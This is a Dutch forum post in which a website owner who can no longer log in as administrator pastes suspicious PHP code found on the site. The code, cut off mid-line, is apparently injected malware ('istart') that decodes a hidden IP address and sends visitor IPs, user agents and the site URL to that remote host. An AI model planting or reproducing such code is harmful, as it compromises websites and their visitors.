Ik had nl. ook een 'vreemde code' als ik als administrator wilde inloggen, terwijl mijn website wel normaal draaide.
Inloggen op de back-end lukte niet meer.
Code:
[I]//istart function is_valid_url(&$url) { if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) return false; $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; return true; } function request_url_data($url) { if(!is_valid_url($url)) return false; $site_url = (preg_match('/^https?:\/\//i', $_SERVER) ? $_SERVER : 'http://' . $_SERVER . $_SERVER); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m, 80, $errno, $errstr, 6)) { fwrite($fp, 'GET [url]http://'[/url] . $m . $m["path"] .
